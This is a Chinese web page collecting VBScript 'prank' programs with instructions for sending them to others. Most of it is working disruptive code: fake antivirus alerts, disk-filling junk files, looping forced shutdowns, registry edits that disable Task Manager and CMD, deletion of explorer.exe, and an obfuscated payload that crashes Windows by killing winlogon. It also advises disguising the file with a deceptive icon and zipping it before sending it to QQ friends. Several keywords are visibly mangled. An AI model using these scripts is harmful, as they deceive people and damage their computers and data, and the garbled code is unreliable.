VBS小程序-彈窗整人（代碼+解析）
VBS可以用來(lái)編寫一些整人的小程序，那么如何編寫呢？下面我就給大家分享一下。
01
我們首先在桌面上創(chuàng)建一個(gè)VBS的文件，如下圖所示，注意VBS文件雙擊的話是直接運(yùn)行的
02
然后我們用Sublime打開(kāi)vbs程序文件，在里面借助loop循環(huán)來(lái)不斷的輸出msgbox，如下圖所示
03
接下來(lái)我們雙擊vbs程序文件，運(yùn)行上面編寫的整人程序，你會(huì)看到如下圖所示的彈窗效果，我們點(diǎn)擊確定以后會(huì)不斷的彈窗
04
最后如果你想關(guān)閉這個(gè)整人的程序只能通過(guò)在任務(wù)管理器里面右鍵結(jié)束任務(wù)進(jìn)行關(guān)閉了，如下圖所示
vbs整人代碼
把下面的代碼輸?shù)轿谋疚臋n里，然后保存為后綴名為“vbs”的文件
dim a,ctr
ctr=0
const pass="是"
do while ctr<100
a=inputbox("你是豬嗎？")
if a=pass then
msgbox "good"
exit do
el
ctr=ctr+1 '如果密碼出錯(cuò)就增加一次錯(cuò)誤認(rèn)證計(jì)數(shù)
msgbox "錯(cuò)，你是豬！"
end if
loop
注：千萬(wàn)不要一下子復(fù)制，要一行一行地復(fù)制
接下來(lái)你新建一個(gè)文件夾，再弄一個(gè)快捷方式把原來(lái)的文件隱藏，現(xiàn)在的快捷方式點(diǎn)擊鼠標(biāo)右鍵-屬性-更改圖標(biāo)，然后找一個(gè)容易讓人上當(dāng)?shù)膱D標(biāo)，再把文件夾壓縮就可以發(fā)給qq好友了（嘻嘻，我就是這樣整的）
vbs整人代碼窗口怎么關(guān)閉
我們平時(shí)偶爾會(huì)接收到一些VBS整人文件，只要運(yùn)行這些文件就很難關(guān)掉。下面我就教大家如何關(guān)閉這些VBS整人代碼窗口。
工具/材料
任務(wù)管理器
01
首先我們準(zhǔn)備一個(gè)VBS文件，在其中加入VBS整人代碼，如下圖所示
02
然后我們雙擊VBS文件，你會(huì)看到如下圖所示的彈窗，不管點(diǎn)哪個(gè)按鈕都關(guān)閉不了
03
接下來(lái)我們按Win+R組合鍵彈出運(yùn)行界面，在輸入框中輸入taskmgr命令，打開(kāi)任務(wù)管理器，如下圖所示
04
最后我們找到如下圖所示的進(jìn)程，選擇此進(jìn)程，然后點(diǎn)擊關(guān)閉任務(wù)即可，如下圖所示
vbs整人代碼
大量的樓上已經(jīng)說(shuō)了。這個(gè)是本人原創(chuàng)，親測(cè)有用。毒性嘛，就是會(huì)燒CPU，然后在這個(gè)vbs旁邊創(chuàng)建一大堆垃圾文件（請(qǐng)準(zhǔn)備好30G空間）【具體在代碼中】
僅供惡搞娛樂(lè)和研究，沒(méi)有攻擊任何人，組織的意圖。
t qstart = wscript.CreateObject("wscript.shell")
t qweb = CreateObject("Wscript.Shell")
t qwrite = CreateObject("scripting.filesystemobject")
t qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革廠倒閉了.mp3》請(qǐng)準(zhǔn)備好放在D:\
msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因?yàn)檫@個(gè)游戲涉及非法內(nèi)容，所以您的電腦將在60秒后自動(dòng)關(guān)機(jī)"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說(shuō)！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滾”已復(fù)制到剪貼板，可以粘貼。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，現(xiàn)在您可以下載360安全衛(wèi)士來(lái)殺毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么這么懶呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是時(shí)候鍛煉鍛煉了",vbokonly+vbInformation,"360 Defender"
msgbox "游戲規(guī)則：在開(kāi)始后，請(qǐng)及時(shí)點(diǎn)擊 “確定” 鍵來(lái)取消關(guān)機(jī)。"+chr(13)+"現(xiàn)在您可以把這個(gè)窗口x掉，或者點(diǎn)擊確定，來(lái)開(kāi)始游戲。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消關(guān)機(jī)",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鴻祎表示無(wú)語(yǔ)。"+chr(13)+chr(13)+chr(13)+"這樣是不可能解決問(wèn)題的",vbokonly,"360 Defender"
msgbox "自己探尋吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滾" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
t qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滾" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.clo
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在說(shuō)廢話，但是您一定不想浪費(fèi)時(shí)間說(shuō)廢話，所以該電腦對(duì)您有害。浪費(fèi)別人時(shí)間就是謀財(cái)害命 ( 魯迅 ) 。360積極維護(hù)您的財(cái)產(chǎn)權(quán)和生命健康權(quán)，決定不砸掉您的電腦。"+chr(13)+chr(13)+"那現(xiàn)在先把C盤給抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盤的過(guò)程中，您的電腦將會(huì)重啟數(shù)次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
vbs整人代碼怎么發(fā)送給別人
簡(jiǎn)單啊。你把VBS后面改成.VBS就可以了。還有，別忘了得壓縮。你不壓縮別人一看到就知道這是個(gè)耍人的腳本了， 求積分，順便附上一個(gè)代碼，
t s=createobject("wscript.shell")
t bag=getobject("winmgmts:\\.\root\cimv2")
t pipe=bag.execquery("lect * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
el
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 200
s.popup"系統(tǒng)將在"& 1-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]
這是個(gè)耍人的代碼，可以讓他電腦關(guān)機(jī)后重啟后任務(wù)管理器打不開(kāi)。CMD也打不開(kāi)。 想要解決的方法就是先打開(kāi)一次這個(gè)腳本，然后會(huì)提示關(guān)機(jī)，在沒(méi)關(guān)機(jī)前你再打開(kāi)一次那個(gè)腳本就好了
求大量VBS整人代碼.
第一個(gè) do msgbox "hi" loop 第二個(gè) Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三個(gè) if MsgBox("對(duì)不起,您灌水太多需要重新啟動(dòng)計(jì)算機(jī)。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動(dòng)計(jì)算機(jī)")=vbCancel then msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四個(gè) '這個(gè)很強(qiáng)悍的vbs,藍(lán)屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner 第五個(gè) if MsgBox("你是豬頭嗎？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" el msgbox "還不承認(rèn)!! 作為懲罰，藍(lán)屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 第六個(gè) Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七個(gè) t ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八個(gè) Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改變社會(huì)風(fēng)氣，風(fēng)魔萬(wàn)千少女，刺激電影市道，提高年輕人內(nèi)涵，",10,"閃亮登場(chǎng)",64 ws.popup"玉樹(shù)臨風(fēng)，風(fēng)度翩翩的……“咕嚕…咕嚕…”，不好意思，我內(nèi)急先閃了，再見(jiàn)！",15,"farewell",64 wscript.sleep 100000 ws.popup"發(fā)現(xiàn)重要windows更新未安裝，系統(tǒng)將自動(dòng)下載更新并安裝",10 ws.popup"正在下載windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下載完畢，正在安裝更新……",12 wscript.sleep 3000 msgbox"系統(tǒng)檢測(cè)到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ，并在強(qiáng)行嵌入你的電腦",4132,"是否對(duì)其進(jìn)行掃描？" msgbox"軟件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 發(fā)行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全狀況：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝" msgbox"阻止失敗，請(qǐng)檢查防火墻是否開(kāi)啟" wscript.sleep 15000 ws.popup"windows更新安裝成功！",vbinfmation,20 msgbox"您的電腦可能已被入侵，請(qǐng)盡快修改您的QQ密碼及其他機(jī)密資料,以免QQ被盜或丟失資料",vbinformation ws.popup"哈哈，我已經(jīng)控制了你的電腦！",12,"很高興見(jiàn)到你",64 ws.popup"不信？我用你的電腦打開(kāi)我的QQ空間給你看看",10 ws.run" http://ur.qzone.qq.com/403746401/infocenter" msgbox"警告：為了您的電腦安全，請(qǐng)盡快安裝使用殺毒軟件對(duì)系統(tǒng)進(jìn)行全面殺毒",vbinformation ws.popup"我再打開(kāi)中國(guó)神泣官方網(wǎng)站",10 ws.run" http://shaiya.gtgame.com.cn/index.htm" ws.popup"現(xiàn)在相信了吧？我再打開(kāi)你的記事本給你寫封英語(yǔ)信",20 ws.popup"記事本會(huì)被打開(kāi)并最大化，這時(shí)你不要?jiǎng)樱f(wàn)別把目標(biāo)轉(zhuǎn)移到其他窗口，耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負(fù)責(zé)！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,plea ,excu ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lo ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.e ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九個(gè) for each wind in verybat ws.ndkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你還要上吧 慢慢玩哦",27 dim WSHshell t WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("請(qǐng)輸入解除關(guān)機(jī)密碼") if a="403746401" then ws.run"shutdown -a" msgbox"密碼驗(yàn)證成功，enjoy the best!" exit do el msgbox"密碼驗(yàn)證失敗，請(qǐng)輸入解除關(guān)機(jī)密碼：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被嚇到了吧 好玩吧？你以為真的是病毒？呵呵O(∩_∩)O~，我還沒(méi)那么打本事能做出病毒來(lái)！",57 ws.popup"(\(^o^)/~ 好啦，跟你開(kāi)了個(gè)小小玩笑。你也可以把這個(gè)文件發(fā)給其他人，耍耍別人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU溫度過(guò)高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！，請(qǐng)結(jié)束所有應(yīng)用程序讓CPU降溫！",16+4096,"系統(tǒng)提示：" wscript.sleep 1000*45 loop 第十個(gè) t sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一個(gè) dim WSHshell t WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二個(gè) dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("請(qǐng)?jiān)趯?duì)話框中填寫你真實(shí)的姓名！"&vbcrlf&""&vbcrlf&"稍后將會(huì)給你意外的驚喜！！ "&vbcrlf&""&vbcrlf&"不信你可以試試看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請(qǐng)?jiān)诖溯斎肽愕拿?quot;) If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElIf MyVar=vbNo Then a=inputbox("請(qǐng)?jiān)趯?duì)話框中填寫你真實(shí)的姓名！"&vbcrlf&""&vbcrlf&"稍后將會(huì)給你意外的驚喜！！ "&vbcrlf&""&vbcrlf&"不信你可以試試看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請(qǐng)?jiān)诖溯斎肽愕拿?quot;) If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"請(qǐng)?zhí)顚懸幌履愕膼?ài)好。(只需填一個(gè)哦！)","芮洲提示：","請(qǐng)?jiān)诖溯斎肽愕膼?ài)好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("請(qǐng)?jiān)谙旅鎸?duì)話框中輸入你的出生[年 月日]電腦將自動(dòng)算出到目前為止你已經(jīng)在地球上存活了多少時(shí)間！"&vbcrlf&""&vbcrlf&"下面以我為列 不同可以修改"&vbcrlf&""&Chr(10)&"格式為：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小時(shí) "&n&"分鐘.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Urs\桌面\"&a&"的秘密.vbs",true) auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的愛(ài)好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已經(jīng)活了:"&age&"天 "&h&"小時(shí) "&n&"分鐘 "&""""&",64,"&""""&""&a&"的自我介紹：""" auto.WriteLine"msgbox"&""""&"親愛(ài)的 "&a& " 再見(jiàn)了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Urs\桌面\祝"&a&"生日快樂(lè).TXT",true) auto.WriteLine"本人芮洲祝: "&a&" 生日快樂(lè)、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)......." auto.WriteLine"你已在地球上生活了:"&age&"天 "&h&"小時(shí) "&n&"分鐘了" auto.WriteLine"時(shí)間是根據(jù)你的出生年月日算的，可能不是很精確，但目的只是想讓知道時(shí)間過(guò)的很快，請(qǐng)珍惜時(shí)間!!!。"
